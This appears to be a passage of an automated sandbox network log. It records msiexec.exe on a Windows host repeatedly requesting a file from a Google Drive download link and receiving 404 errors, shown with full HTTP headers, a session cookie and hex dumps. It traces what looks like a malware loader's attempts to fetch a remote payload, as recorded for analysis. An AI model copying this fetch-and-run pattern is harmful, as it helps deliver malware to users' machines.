2025-02-19 19:37:16 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49984	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:17 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:17 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:17 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-oL-laaufRtOnuP0YIYoeoA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49986	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:18 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:18 UTC	1541	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iFos-Tgdg_BDLlM-UcTuscd2kFGQIG_D9cQIQ8RnFr6UgLiKQ1pozkN7aqtjyN9XvN9WuPB2zQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:18 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-4CmXkazV0qBuzT-YciZdcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:18 UTC	1541	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 2d 53 65 4e 57 73 42 69 74 58 42 6a 44 61 38 6f 61 39 31 2d 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="O-SeNWsBitXBjDa8oa91-A">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:18 UTC	111	IN	Data Raw: 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ts an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49987	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:19 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:19 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:19 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-fBD5Ul_PBBQc2__cOrcXBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49988	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:20 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:20 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHmE-kBN-YdzEw8WtHMx5QjHLuslR134U_sexqy8l2XWzoob8Xmk3BsrzBOJAAggWQ0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:20 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-3ew0E4jO7T1lw9pS5Mmv9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:20 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 33 79 67 65 58 46 6a 41 64 69 45 53 71 42 51 72 38 37 58 61 4d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="3ygeXFjAdiESqBQr87XaMw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:20 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49989	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:21 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:22 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:21 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-1g-DRxFlLunx3_YRdboxpg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49990	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:22 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:23 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iGKjP68HP9VC42PL3CDt1eOFVacEKRU-QfqknBUjYFzr26pWHJ_aJ-iKmFCJ_smm4Vo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:23 GMT Content-Security-Policy: script-src 'nonce-93vWSZn4uGGRW95tIGE1fg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:23 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 5f 61 50 6e 58 7a 6b 55 79 4e 70 30 49 61 32 52 5a 76 42 4d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="j_aPnXzkUyNp0Ia2RZvBMQ">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-02-19 19:37:23 UTC	118	IN	Data Raw: 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49991	142.250.185.78	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:24 UTC	421	OUT	GET /uc?export=download&id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:24 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:24 GMT Location: https://drive.usercontent.google.com/download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-LzP8ij70bZqnDEPNEmnQ2A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49992	172.217.16.129	443	1300	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-19 19:37:25 UTC	463	OUT	GET /download?id=14A4dQdtnAx02svj7Lu7f3tLwtoZ52sqM&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=521=dq0k_BTwMehDN-7CHadZFslS-IMfvkEDkec6BFnPH7RSZFddBxPzF7QO7gnWoW_2bijykrN6C51UZ-vcFjsUxN4A8BivloIywR0ySysOtfWKLoyzLRmF3wklqfkwipOuvZ0UJx7r1gMj2EXxZsXI9cZX5isFEtNCKb2k_BwVz_R0F9fTX4w_slLK_fc
2025-02-19 19:37:25 UTC	1534	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AHMx-iHLRRJpA_rtAjf6JrFkkoHoWMFqvYZKU5SvQB5jGS-PgcI4MDTrEG44SX383hcUz3fu Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 19 Feb 2025 19:37:25 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Dm0v7dqXjuuponebU-Lk1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-02-19 19:37:25 UTC	1534	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 30 65 4b 34 58 6e 72 78 36 7a 38 35 4b 50 6f 64 37 63 59 4a 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Y0eK4Xnrx6z85KPod7cYJA">*{margin:0;padding:0}html,code{font:15px/22px arial
